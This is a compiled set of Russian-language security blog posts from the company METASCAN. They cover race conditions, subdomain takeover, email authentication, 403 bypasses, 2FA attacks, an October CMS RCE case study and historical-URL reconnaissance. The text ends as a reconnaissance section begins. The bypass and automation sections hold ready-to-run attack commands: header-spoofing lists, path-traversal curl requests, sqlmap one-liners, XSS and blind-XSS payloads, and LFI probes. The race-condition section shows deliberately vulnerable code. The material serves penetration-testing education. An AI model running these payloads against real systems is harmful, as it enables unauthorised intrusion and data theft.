В мире, наполненном SAST/DAST сканерами (инструментами статического и динамического анализа кода), допустить ошибку в написании кода с каждым днем становится все сложнее. Однако есть класс уязвимостей, которые могут появиться в результате работы как опытного программиста, так и обученной нейросети. Одна из таких уязвимостей — Race Сondition.

Что представляет из себя состояние гонки?

Race Condition, или состояние гонки, представляет из себя архитектурную уязвимость, возникающую там, где система предполагает последовательность действий, но в реальности выполняет их параллельно. В итоге логика, корректная в случае одиночного потока, становится уязвимой при параллельных запросах.

Технически уязвимость возникает в момент, когда проверка и использование данных разделены во времени. Система сначала читает состояние, затем принимает решение, и только после этого изменяет данные. Если между этими шагами другой поток успевает изменить состояние, оба запроса могут пройти проверку и выполнить действие.

Классический пример — проверка баланса перед списанием средств. Два параллельных запроса читают одно и то же значение, оба считают операцию допустимой и оба уменьшают баланс. Например, два человека одновременно снимают деньги с одной карты. Каждый запрос видит баланс до того, как другой успел его изменить. В одиночном потоке код работает корректно, но при их конкуренции возникает двойное списание.

Архитектурно эта уязвимость почти всегда возникает из паттерна read-modify-write. Сервис читает данные из базы, изменяет их в памяти и записывает обратно. Пока операция выполняется, другой поток может сделать то же самое. Ситуацию усугубляют микросервисные архитектуры, очереди сообщений, кэш перед базой данных и другие компоненты современных приложений. Каждый дополнительный сетевой переход увеличивает временное окно, в котором может возникнуть гонка.

С точки зрения эксплуатации, задача злоумышленника — увеличить вероятность совпадения. Он отправляет несколько параллельных запросов, инициирует повторные операции или создаёт искусственные задержки. Даже если окно гонки составляет миллисекунды, при достаточном количестве попыток оно становится воспроизводимым.

На практике race condition помогает злоумышленникам перебирать пароли, обходить ограничения на количество запросов, накручивать промокоды и ломать бизнес-логику сайта. В редких случаях состояние гонки может стать ключевым шагом для получения удалённого выполнение кода (Remote Code Execution).

Примеры

Рассмотрим классические примеры, где может быть примерена Race Condition.

1. TOCTOU
Наиболее распространённый сценарий — это классический Time-of-check to time-of-use. Проблема появляется, когда система проверяет условие отдельно от действия, что-то вроде проверки уникальности юзернейма в базе данных:

user = db.query("SELECT * FROM users WHERE username = ?", username)

if not user:
    db.query("INSERT INTO users(username) VALUES(?)", username)

При двух параллельных запросах оба SELECT вернут пустой результат, и оба INSERT создадут дубликат.

2. Race Condition при работе с файлами

Интересный сценарий, при котором RC может привести к получению удаленного выполнения кода или к повышению привилегий на уже скомпрометированной системе — работа с файлами.

<?php

$upload_dir = "/var/www/uploads/";
$tmp_name = $_FILES["file"]["tmp_name"];
$name = basename($_FILES["file"]["name"]);

$path = $upload_dir . $name;

move_uploaded_file($tmp_name, $path);

$content = file_get_contents($path);

if (strpos($content, "<?php") !== false) {
    unlink($path);
    die("Malicious file detected");
}

echo "Uploaded successfully";

Что тут делается:

1. файл загружается
2. проверяется на наличие PHP-кода
3. если код найден — файл удаляется

Однако между проверкой и удалением есть небольшое временное окно, в которое можно успеть вызвать файл и получить выполнение кода.

3. Гонки в API

В таком сценарии уязвимость может позволить нам провести одну и ту же операцию дважды:

order = db.get_order(order_id)

if order.status == "pending":
    order.status = "paid"
    process_payment(order)
    db.save(order)

Для эксплуатации достаточно будет послать два параллельных запроса – каждый из них прочитает состояние status=="pending", затем каждый из них запустит process_payment

Исправление

Самый надёжный способ исправить такие уязвимости — перенести логику изменения в базу данных и выполнять всё в рамках одной транзакции: проверка и изменение данных должны быть одним действием, которое нельзя разорвать посередине. Когда обновление выполняется условно и атомарно (неразрывно), база данных сама гарантирует согласованность состояния, и никакой параллельный запрос уже не сможет проскочить между проверкой и изменением.

Альтернативно может быть использован архитектурный принцип single writer, при котором только один компонент в системе отвечает за изменение конкретного ресурса (баланса, счётчика и тд.), и гонка просто не может возникнуть из-за отсутствия конкуренции.

Заключение

Важно понимать, что Race Condition — это не баг конкретного языка или фреймворка. Это следствие того, что разработчик исходил из предположения, что запросы будут выполняться последовательно, а в реальности они приходят одновременно.

Во время ручных тестирований специалисты METASCAN неоднократно находили эту уязвимость в различных сценариях — от накрутки баланса с помощью промокодов, до брутфорса по многотысячному словарю при 5 доступных попытках ввода пароля.

Подписывайтесь на METASCAN News & PoC, чтобы больше узнавать о новых функциях, полезных фичах и главных новостях.

Настройка домена на хостинге

Рассмотрим сначала как устроен процесс настройки домена на хостинге. Среди популярных российских решений выделим следующие:

• РуЦентр
• Рег.ру
• Tilda

При сохранении DNS серверов хостинги предлагают создать DNS A запись с IP адресом хостинга. Для простого сайта обычно используются тарифы с возможностью управления сайтом, но без полного контроля над сервером, из-за чего на одном IP адресе может находится большое количество доменов.

После приобретения выбранного тарифа хостинг предлагает добавить DNS A запись для домена или поддомена, после чего появляется возможность добавить домен в личном кабинете хостинга. Но именно на этом этапе очень часто забывают просто закрепить домен в личном кабинете, либо попросту услугу могли удалить, а DNS A записи оставить.

Захват доменов

Условиями для захвата является наличие необходимой DNS A записи и отсутствие активной услуги у хостингов где добавлен захватываемый домен или поддомен. У каждого хостинга собственная страница которая сообщает о том, что домен не закреплен в личном кабинете:

• РуЦентр

• Рег.ру

• Tilda

Во всех трех случаях атакующему достаточно зайти в личный кабинет хостинга на который указывает домен и в созданной услуге указать домен, после чего он будет добавлен и злоумышленник сможет расположить произвольный контент на сайте:

Проще всего захват осуществить на Tilda так как адресов там всего несколько. В случае с РуЦентр и Рег.ру нужно сначала определить в какую услугу входит IP адрес сервера, затем заказать эту услугу и сбрасывать её до того момента пока система не выдаст такой же IP адрес как и у захватываемого домена. После этого домен можно будет добавить и захватить, что успешно было подтверждено в результате нашего исследования.

Захват доменов может произойти на группе разных сервисов и хостингов использующих такой же принцип управления доменами. Существует курируемый сообществом репозиторий по списку располагающих к захвату доменов сервисов и необходимых условий:

https://github.com/EdOverflow/can-i-take-over-xyz

Заключение

Захват доменов является опасной проблемой забытых DNS записей, так как часто это может быть поддомен для основного сайта или альтернативные домены на которые ссылаются ресурсы на сайтах компании. В случае успешного захвата вместо безобидного контента злоумышленник может расположить контент нарушающий законы РФ, что может не только привести к репутационным рискам для компании, но и привести к юридическим проблемам с немалыми финансовыми потерями.

Метаскан поддерживает автоматическую проверку забытых доменов на хостингах, а наши специалисты по запросу могут продемонстрировать захват на ваших доменах при наличии необходимых условий.

Что такое SPF, DKIM, DMARC?

Все эти 3 политики работают вместе с общей целью — аутентифицировать Email письма и предотвратить спуфинг, фишинг и другие атаки с подменой личности.

SPF (Sender Policy Framework)

Данная политика позволяет владельцу домена указать какие Email сервера могут отправлять почту от лица этого домена. Когда почта приходит, принимающий сервер проверяет SPF запись для подтверждения легитимности отправителя.

Выглядит следующим образом (DNS TXT запись):

v=spf1 ip4:192.0.2.0/24 include:_spf.google.com ~all

• v=spf1 - версия SPF
• Список IP адресов или доменов с которых может поступать почта
• Политика завершется опциями: ~all (soft fail) или -all (hard fail) или +all (не рекомендуется).

DKIM (DomainKeys Identified Mail)

Данная запись добавляет цифровую подпись в заголовки Email используя криптографические ключи. Отправляющий сервер подписывает исходящую почту с приватным ключом, а получающие сервера верифицируют подпись используя публичный ключ в DNS записи.

Такая защита позволяет не только подтвердить отправителя, но и убедиться что содержимое письма никак не было изменено.

TXT DNS запись для DKIM выглядит следующим образом (где p = публичный ключ):

default._domainkey.yourdomain.com TXT "v=DKIM1; k=rsa; p=MIGfMA0GCS..."

Для работы данного метода необходимо сгенерировать пару публичный/приватный ключ и настроить на сервере отправителе подпись писем.

DMARC (Domain-based Message Authentication, Reporting and Conformance)

Данная запись основывается на предыдущих двух записях - SPF и DKIM. Предназначена для оповещения серверов-получателей писем в тех случаях, когда аутентификация не удалась и содержит инструкции куда отправлять отчет о неудачных попытках аутентификации.

• Указывает политику при неудачной аутентификации (карантин, отклонение или бездействие)
• Позволяет увидеть кто пытается отправлять письма с домена владельца
• Предотвращает подделку домена в поле "От" который видят пользователи
• Гибкая настройка позволяет укреплять политику постепенно

TXT DNS запись для DMARC выглядит следующим образом:

v=DMARC1; p=quarantine; rua=mailto:dmarc@yourdomain.com; pct=100; adkim=s; aspf=s

• p=устанавливает политику: none (мониторинг), quarantine (спам) или reject (отклонение)
• rua= указывает куда отправлять отчеты
• pct= к какому проценту писем применять политику
• adkim= и aspf= указывают на режим работы по существующим записям (strict или relaxed)

В режиме мониторинга очень часто возникает ситуация когда отчеты начинают попросту игнорировать, что приводит к успешным атакам через слабую политику DMARC.

Использование в современных атаках

Несмотря на то, что многие не отдают особого внимания данным записям, за последние 2 года происходили крупные атаки которые в том или ином объеме использовали слабости в проверках отправляемой почты.

В недавнем исследовании PayPal в 2024 году были обнаружены недостатки которые позволяли атакующим воспользоваться SMTP Smuggling атаками для обхода SPF, DKIM и DMARC политик в результате использования очень мягких правил в SPF записях.

Массовая компроментация бизнес Email через использование очень похожих доменов позволила хакерам обойти проверки DMARC, что привело к потере $2.3 миллионов.

Заключение

В Метаскан поддерживается проверка SPF записей в автоматическом режиме на любом объеме ресурсов с градацией по критичности. При наличии MX записи, но отсутствующей SPF записи, будет создана сработка со средним уровнем критичности предупреждая о наличии мисконфигурации. Подобные ошибки могут привести к успешной фишинговой кампании, которая может закончится пошифрованной инфраструктурой и большими потерями для бизнеса.

Перспектива атакующего

Рассмотрим перспективу атакующего который осуществляет анализ веб-приложения и сталкивается со страницами или запросами на которые веб-сервер возвращает 4XX ошибки (в основном 401 и 403). Один из способов сделать гибкий доступ к запрещенному контенту - проверять IP адрес клиента.

Иногда это делают через заголовки, среди таких встречаются следующие:

Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1

Для подбора нужного заголовка который потенциально использовался для разграничения доступа атакующему достаточно просто осуществить фаззинг по заголовкам и попытаться подобрать заложенный разработчиком заголовок для проверки клиентского IP.

Один из других способов ограничить доступ - проверять другие заголовки или использовать особенности веб-серверов, такие как перезапись оригинального URL или по заголовку Referer:

X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: http://trusted.com/admin

Другой распространенной мисконфигурацией является проверка по конкретному методу, где в прикладной логике приложения может отсутствовать или работать некорректно обработка HTTP метода:

curl -X OPTIONS --path-as-is "https://example.com/private/"
curl -X GET --path-as-is "https://example.com/private/"
curl -X POST --path-as-is "https://example.com/private/"
curl -X PUT --path-as-is "https://example.com/private/"
curl -X DELETE --path-as-is "https://example.com/private/"
curl -X PATCH --path-as-is "https://example.com/private/"
curl -X HEAD --path-as-is "https://example.com/private/"
curl -X TRACE --path-as-is "https://example.com/private/"
curl -X CONNECT --path-as-is "https://example.com/private/"
curl -X PROPFIND --path-as-is "https://example.com/private/"
curl -X MKCOL --path-as-is "https://example.com/private/"
curl -X COPY --path-as-is "https://example.com/private/"
curl -X MOVE --path-as-is "https://example.com/private/"
curl -X LOCK --path-as-is "https://example.com/private/"
curl -X UNLOCK --path-as-is "https://example.com/private/"
curl -X SEARCH --path-as-is "https://example.com/private/"

И заголовок для перезаписи метода:

X-HTTP-Method-Override: PUT

Среди распространенных методов обхода можно применять классическую Path Traversal атаку:

curl -g --path-as-is "https://example.com/%2e%2e/admin"          # ../
curl -g --path-as-is "https://example.com/%2e%2e%2fadmin"        # ../admin
curl -g --path-as-is "https://example.com/%2e%2e%2f%61dmin"      # ../admin (кодировка для 'a' символа)
curl -g --path-as-is "https://example.com/%2e%2e/%2e%2e/admin"   # ../../admin
curl -g --path-as-is "https://example.com/%2e%2e/%2fadmin"       # ..//admin
curl -g --path-as-is "https://example.com/%20/admin"             # space/admin
curl -g --path-as-is "https://example.com/%2e%2fadmin"           # ./admin
curl -g --path-as-is "https://example.com/admin%2f"              # admin/
curl -g --path-as-is "https://example.com/admin%252f"            # admin%2f (двойная кодировка)
curl -g --path-as-is "https://example.com/admin%2e%2e%2f"        # admin../

Если разработчик воспользовался недостаточно хорошим регулярным выражением и проверяет только строчную версию URL, можно попробовать изменить регистр:

curl https://example.com/admin
curl https://example.com/Admin
curl https://example.com/ADMIN
curl https://example.com/aDmiN
curl https://example.com/adMin
curl https://example.com/AdMiN
curl https://example.com/aDMIN
curl https://example.com/ADMIn

Или добавить альтернативные расширения которые могут пройти проверку на уровне веб-сервера и прикладная логика приложения уже может просто проигнорировать их:

curl https://example.com/admin.json
curl https://example.com/admin.css
curl https://example.com/admin.js
curl https://example.com/admin.html
curl https://example.com/admin.php
curl https://example.com/admin.aspx
curl https://example.com/admin.xml
curl https://example.com/admin.txt
curl https://example.com/admin.bak
curl https://example.com/admin.old
curl https://example.com/admin.zip
curl https://example.com/admin.tar.gz

# С использованием нуль-байта
curl --path-as-is "https://example.com/admin.php%00.html"
curl --path-as-is "https://example.com/config.php%00.json"
curl --path-as-is "https://example.com/login.php%00?redirect=admin"
curl --path-as-is "https://example.com/user/profile%00.php"
curl --path-as-is "https://example.com/images/logo%00.jpg"
curl --path-as-is "https://example.com/admin%00.php"
curl --path-as-is "https://example.com/secret%00file.txt"
curl --path-as-is "https://example.com/uploads/file%00.zip"

Иногда разработчики могут использовать скрытые параметры для ограниченного доступа к страницам, здесь могут помочь такие инструменты как Param-Miner и подобные:

curl "https://example.com/admin?unused_param=1"
curl "https://example.com/admin?redirect=allowed"
curl "https://example.com/admin?debug=true"
curl "https://example.com/admin?access=granted"
curl "https://example.com/admin?token=123"

Немного реже встречаются обходы с использованием HTTP Version Downgrade:

curl -http1.0 https://example.com/admin
curl -http1.0 https://example.com/secret
curl -http1.0 https://example.com/config
curl -http1.0 https://example.com/dashboard

Или обращение без Host заголовка (BurpSuite, Zap, Netcat):

printf "GET /admin HTTP/1.1\r\n\r\n" | nc example.com 80

Если в какой-то момент конфигурация не работала, можно посмотреть доступность файла на основе исторических данных:

https://web.archive.org/web/*/https://example.com/secret-file.txt

Реальный кейс Метаскан

В процессе анализа инфраструктуры заказчика выявили необычное поведение сервера, который блокировал доступ к странице на основе заголовка User-Agent:

По результатам фаззинга выявили необычное поведение при котором любое упоминание стандартных браузеров, таких как Firefox, Safari, Opera, Chrome, мобильных браузеров на Android, iPhone и других клиентов сервер возвращал 403, но при использовании даже простого curl User-Agent проверка проходила и был получен доступ к содержимому хранилища S3:

Помимо обхода с помощью User-Agent, по результатам сканирований выявляли большое количество мисконфигураций связанных с использованием проверки по строчной версии URL, когда как доступ с изменением регистра оставался.

Заключение

Логика проверки доступа может быть самой разнообразной в зависимости от выбранной реализации разработчиком. Поэтому несмотря на видимую недоступность ресурса, всегда стоит проверять защиту у которой может скрываться ахиллесова пята.

С экспертным сопровождением в Метаскан вы можете быть уверены в отсутствии подобных брешей в защите чувствительных и административных точек приложения, а наш отдел исследований и разработки постоянно работает над улучшением автоматических проверок сканера.

Двухфакторная аутентификация давно стала стандартом цифровой гигиены. Банки, соцсети, облачные сервисы, корпоративная инфраструктура — все требуют подтверждать вход чем-то сверх пароля. Казалось бы, это решает проблему угонов аккаунтов раз и навсегда.

Но в реальности 2FA — это не броня, а лишь дополнительная дверь. Она значительно усложняет атаку, но не делает пользователя «неуязвимым». Современные злоумышленники научились обходить многие популярные способы 2FA, причём иногда — без каких-либо технических навыков, исключительно методом социальной инженерии.

В сегодняшнем материале разбираем устройство 2FA, популярным методам атак и практическим мерам защиты.

Что такое 2FA

2FA — это проверка пользователя двумя независимыми факторами. Обычно они делятся на три категории:

1. Что-то, что вы знаете — пароль, PIN, секретная фраза.
2. Что-то, что у вас есть — телефон, токен, смарт-карта, аппаратный ключ.
3. Что-то, чем вы являетесь — биометрия: лицо, отпечаток пальца.

Главная идея в том, что взлом пароля не означает взлом аккаунта – например, на момент введения Steam Guard в 2011 году Гейб Ньюэлл публично озвучил свой пароль и предложил попасть в его аккаунт. Сделать этого никому не удалось.

Базовый 2FA флоу выглядит следующим образом:

1. Пользователь вводит свой логин и пароль в форму ввода.
2. Сервер предоставленные учетные данные и создает предварительную сессию и контекст аутентификации.
3. Сервер проверяет, требуется ли второй фактор (политики, настройки аккаунта) и инициирует генерацию/отправку OTP или отправляет push-запрос/требует аппаратный ключ.
4. Пользователь получает код (SMS/TOTP/Email) или видит пуш-запрос на своем устройстве/подключает ключ и подтверждает действие.
5. Клиент отправляет подтверждение (код/подпись/ответ) обратно на сервер вместе с session_id.
6. Сервер валидирует второй фактор: проверяет, что код совпадает, что он отправлен в нужном контексте, не истек, не использовался ранее.
7. Если проверка успешна – сервер помечает сессию как аутентифицированную и допускает пользователя к защищенным ресурсам.

Но безопасность 2FA зависит от того, какой именно фактор используется и как именно реализован этот процесс. SMS-код — это 2FA, но защита от перехвата у него минимальная, в то же время аппаратный ключ — тоже 2FA, взломать который практически нереально.

Типы 2FA

Рассмотрим основные методы, встречающиеся в реальной жизни:

• SMS-коды. Код подтверждения приходит по SMS.
• TOTP-коды (Google Authenticator, Steam Guard, etc.) – генерация одноразовых кодов целиком происходит на зарегистрированном устройстве
• Push-подтверждения (Microsoft Authenticator, Google) – подтверждение происходит через пуш-уведомление, отправленное на уже известное устройство
• Аппаратные ключи – используют криптографию, не отправляют код в сеть, не поддаются перехвату.

Как атакуют 2FA

Существует колоссальное количество методик атак на MFA, однако подавляющее большинство подобных атак требуют глубокого понимания процесса авторизации и ручного тестирования

1. Отсутствие рейт-лимитов. Начнем с классики – в уязвимом приложении просто могут быть не предусмотрены рейт-лимиты и неважно, на чьей именно стороне:
1. Пользователь может иметь неограниченное количество попыток ввода одноразового кода, т.е. может просто его подобрать, в то время как простые ограничения по IP либо сигнатурам запроса легко обходятся через IP Rotate и модификацию каждого нового запроса.
2. Нет лимита на количество запросов OTP. Пользователь может бесконечно запрашивать новые OTP до тех пор, пока не подберет нужный.
3. Отсутствие лимита на отправку кодов так же позволяет исчерпывать ресурсы компании
2. Уязвимости на уровне сессии.
1. Уязвимое приложение может позволить отключить либо изменить флоу двухфакторной аутентификации, при этом не требуя проходить двухфакторную аутентификацию.
2. Puzzling атаки – в некоторых сценариях приложение запрашивает у пользователя прохождение 2FA, однако его можно обойти просто обратившись напрямую к нужному эндпоинту.
3. Race Condition – при неграмотной реализации криптографической составляющей генератора OTP-кодов может возникнуть ситуация, что два разных запроса, отправленных одновременно, получат одинаковый OTP. Таким образом возникает состояние гонки, когда мы одновременно инициируем авторизацию с учетной записью жертвы и со своей учетной записью, а код двухфакторной аутентификации при этом одинаков для обоих.
3. Проблемы в логике.
1. OTP может быть повторно использован для разных действий – логин, сброс пароля, подтверждение операций и тд. Отсутствие контекста подтверждаемого действия может привести к тому, что OTP, сгенерированный с одной целью, может быть использован для совершенно другой.
2. Бывают случаи, когда уже введенный OTP остается валидным уже после его отправки. Это значительно упрощает задачу перебора, поскольку нет необходимости автоматизировать дальнейшие действия после ввода OTP – можно просто ввести его повторно после проведенного брутфорса и закончить проведение атаки вручную.
4. Host Header Injection
1. В уязвимой конфигурации веб-сервер может воспринимать заголовок Host HTTP-запроса как целевой ресурс и злоумышленник может обмануть веб-приложение, передав дублирующийся/вредоносный домен, на который и будет отправлен код подтверждения.
5. Фишинг.
1. Злоумышленник может создать фейковую страницу, повторяющую процесс авторизации целевого ресурса и заманить пользователя туда – таким образом он получит не только валидную учетную запись, но и действительную сессию на целевом ресурсе.
2. Социальная инженерия. Злоумышленник может убедить службу поддержки целевого ресурса сбросить MFA или привязать новый фактор.

Практический кейс

Во время проведения ручного тестирования ресурсов у одного из клиентов мы обнаружили форму авторизации с ссылкой на страницу смены пароля.

Флоу смены пароля и авторизации оказался крайне простым: вводим почту, на почту отправляется код, вводим код

Меняем пароль / получаем доступ к аккаунту в зависимости от исходного действия.

Проблема крылась в отсутствии ограничения на количество попыток ввода этого самого одноразового кода, что позволило буквально перебрать его посимвольно

И, более того, после использования код не отзывался и его можно было ввести повторно и завершить угон аккаунта вручную:

По уязвимости был составлен подробный отчет, составлены инструкции по устранению и направлены клиенту.

Заключение

Уязвимости подобного рода невозможно выявить с использованием автоматических сканеров, однако наши специалисты отдела экспертного сопровождения при проведении ручных тестирований в обязательном порядке проверяют флоу авторизации / восстановления паролей и другие формы.

В условиях, когда периметр компании насчитывает тысячи ресурсов, даже критически важная уязвимость может "затеряться" среди шума. При ручных тестированиях мы используем Metascan не просто как источник информации об уязвимостях, но как проактивный фильтр, гарантируя, что ни одна потенциальная угроза не ускользнет от нашего внимания.

Начало атаки: проблема в основе CMS

В октябре 2025 года наш сканер обнаружил сработку, которая послужила отправной точкой для полноценной компрометации. На периметре одного из клиентов была найдена установка October CMS (система, построенная на PHP-фреймворке Laravel), уязвимая к CVE-2021-32648 — неаутентифицированной смене пароля.

Эта уязвимость коренилась в глубокой особенности PHP, известной как Type Juggling (небезопасная обработка типов данных). Благодаря этому дефекту, можно было обойти логику проверки ключа сброса пароля. Используя эту находку сканера, мы смогли провести атаку, которая привела к несанкционированной смене пароля пользователя admin и полному доступу к административной панели системы.

Таким образом, рутинная сработка сканера превратилась в ключ к админке CMS.

Safe Mode

Получение доступа к админке стало плацдармом к развитию атаки. Истинной целью всегда является получение возможности удаленного выполнения кода (RCE). Однако быстро выяснилось, что путь к нему будет непростым.

Приложение работало с включенным параметром cms.safe_mode = True. Этот режим создает дополнительный барьер: он блокирует окно редактирования для чистого PHP кода и ограничивает возможности шаблонизатора Twig, не давая использовать небезопасные методы – погружает в так называемый twig sandbox.

Сервер, по сути, говорил нам: «Вы можете писать HTML, вы можете использовать Twig, но вы не можете выполнять произвольный PHP-код». Классические векторы обхода Safe Mode, которые веб-пентестеры используют для SSTI (Server-Side Template Injection), оказались бессильны. Нужно было копать глубже.

Превращем калькулятор в компьютер

Основная идея дальнейшей эскалации атаки заключалась в том, чтобы заставить шаблонизатор, работающий в безопасном режиме, вызвать опасные PHP-функции.

После тщательного анализа и изучения особенностей обхода safe-mode настроек был спроектирован и реализован эксплойт, который позволил нам обойти все ограничения:

1. Мы получили доступ к объекту Twig через контроллер (this.controller.getTwig()).
2. Мы использовали метод registerUndefinedFilterCallback(), чтобы зарегистрировать системную PHP-функцию passthru (команда для выполнения команд ОС) в качестве обработчика для любых несуществующих фильтров.
3. Финальный аккорд: мы просто вызывали несуществующий фильтр, имя которого совпадало с нужной нам командой, например, getFilter("pwd").

Эксплойт:

Сохранение и вызов этой страницы на целевом ресурсе привели к заветному результату:

RCE было получено, и на экране отобразился результат выполнения команды операционной системы.

Заключение

Этот кейс – яркий пример того, как начинается и заканчивается работа с критическими уязвимостями.

Metascan выполнил свою ключевую задачу, обнаружив и подсветив CVE-2021-32648, а специалисты – довели ее до наивысшего импакта, продемонстрировав уровень угрозы заказчику.

Наши пентестеры не только подтверждают сработки, но ируками "докручивают" уязвимости, моделируя реальные действия злоумышленников и предоставляя клиенту полный, критически важный отчет о реальном уровне риска.

Агрегаторы исторических данных

Рассмотрим несколько агрегаторов которые занимаются сбором данных о сайтах:

• Знаменитый веб-архив: http://web.archive.org/
• Common Crawl: https://index.commoncrawl.org/
• AlienVault OTX: http://otx.alienvault.com/
• URL Scan: https://urlscan.io/ (бесплатный API ключ после регистрации)
• VirusTotal: https://www.virustotal.com/gui/home/url
• IntelX: https://intelx.io/ (платный)

Эта небольшая группа сервисов может знать о вашем сайте намного больше чем можно было бы представить. Но здесь появляется вопрос, а как собирать данные с этих ресурсов и эффективно их анализировать? В этом нам помогут инструменты которые взаимодействуют с API перечисленных сервисов.

Типы данных и как их получить

В архивах и краулерах хранятся всевозможные данные, в том числе документы и даже их сохраненные версии на момент захвата. Получить данные с этих сервисов можно как в виде списка URL, так и с захваченным на тот момент содержимом файла. Для этого можно использовать такие утилиты, как:

• Waymore - наиболее полный набор источников
• GAU - предшественник Waymore, улучшенная версия Waybackurls
• Waybackurls - классический инструмент для эффективной работы с Веб-архивом

В этой статье рассмотрим работу конкретно с инструментом Waymore так как он возвращает наиболее полные данные. Для сбора только URL можно воспользоваться простой командой:

waymore -i yourtarget.com -mode U -oU waymore_yourtarget.txt

Флаг -modeотвечает за тип возвращаемых данных. U - только ссылки, R - только ответы, B - и ссылки, и ответы (на вывод надо указать файл для ссылок и папку для ответов).

В результате работы инструмента мы получаем все ссылки с указанных ранее сервисов по всем поддоменам для *.yourtarget.com. Тип данных может сильно отличаться в зависимости от того, для какой цели были собраны данные, но зачастую их объем может быть огромным и ручной анализ может занять слишком много времени.

Автоматизация

Для быстрой и эффективной обработки результатов Waymore можем воспользоваться вспомогательными утилитами и быстро обнаружить явные утечки или уязвимости:

• Сортировка для получения всех *.js файлов:
• cat waymore_youraget.txt | grep -E '\.(js|txt|json)$' | sort -u | tee leaks_yourtarget.txt
• Поиск секретов в *.js файлах:
• Mantra: cat leaks_yourtarget.txt | mantra
• SecretFinder: cat leaks_yourtarget.txt | while read url; do python3 SecretFinder.py -i $url -o cli >> sortedsecret.txt; done
• JSecret: cat leaks_yourtarget.txt | jsecret
• Server-Side Request Forgery:
• Dedupe + QsReplace + httpx: cat waymore_your_target.txt | dedupe -qs | qsreplace "metascan-reflector-link" >> ssrf_yourtarget.txt; httpx -silent -l ssrf_yourtarget.txt -fr
• Open Redirect:
• Dedupe + QsReplace + httpx: cat waymore_your_target.txt | dedupe -qs | qsreplace 'http://example.com' | httpx -fr -title -match-string 'Example Domain'
• SQL Injection:
• Dedupe + anew + SQLmap + ghauri: cat waymore_yourtarget.txt | dedupe -qs | anew sqli_yourtarget.txt && sqlmap -m sqli_yourtarget.txt --batch --random-agent --level 5 --risk 3 --dbs && for i in $(cat sqli_yourtarget.txt); do ghauri -u "$i" --level 3 --dbs --current-db --batch --confirm; done
• Cross-site Scripting:
• uro + Dedupe + QsReplace + httpx: grep -Ev "\.(jpeg|jpg|png|js|ico|gif|css|woff|svg)$" waymore_yourtarget.txt | uro | dedupe -qs | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -mc 200 -mr "<img src=x onerror=alert(1)>"
• httpx + Gxss + dalfox: cat waymore_yourtarget.txt | httpx -silent | Gxss -c 100 -p Xss | grep "URL" | cut -d '"' -f2 | sort -u | dalfox pipe
• Blind XSS: grep "=" waymore_yourtarget.txt | dedupe -qs | sed 's/=.*/=/' | sed 's/URL: //' | tee xss_yourtarget.txt ; dalfox file xss_yourtarget.txt -b '//replace-bxss-payload.com' --skip-mining-dom
• Local File Inclusion:
• Dedupe + httpx: cat waymore_yourtarget.txt | dedupe -qs | httpx -silent -path lfi_wordlist.txt -threads 100 -random-agent -x GET,POST -status-code -follow-redirects -mc 200 -mr "root:[x*]:0:0:"

Сценариев быстрой обработки результатов Waymore масса, помимо перечисленных можно придумать и другие. Нередко результат приносит и ручной анализ файла, можно просто отсортировать список URL и бегло посмотреть на какие-то подозрительные ссылки, затем искать в них уязвимости.

Заключение

Всегда важно помнить, что даже старый функционал, который мог быть частично удален, все еще может обрабатываться на стороне сервера, что очень часто приводит к скрытым уязвимостям которые крайне сложно заметить.

Метаскан позволяет обогатить исторические данные собранными в Sitemap по результатам автоматического сканирования, что значительно улучшает покрытие, а наши пентестеры могут помочь вам провести все необходимые проверки для предотвращения атак связанных с историческими данными и старым функционалом.

Среди выявленных недостатков нашим экспертам удалось предотвратить эксплуатацию SQLi на основных приложениях, Open Redirect уязвимостей, обнаружить утечки API ключей для которых забыли сделать ротацию несмотря на удаление файлов где происходило раскрытие.

Подготовка к разведке

На данном этапе мы собираем первичный набор данных о компании которые позволят нам копнуть глубже и лучше понять инфраструктуру с которой работаем. Среди искомых данных нас интересуют:

• Домены второго уровня или Apex домены (например, example.org)
• Домены N уровня или поддомены (например, sub.example.org, fifth.level.sub.example.com)
• Подсети (например, 192.168.0.0/24)

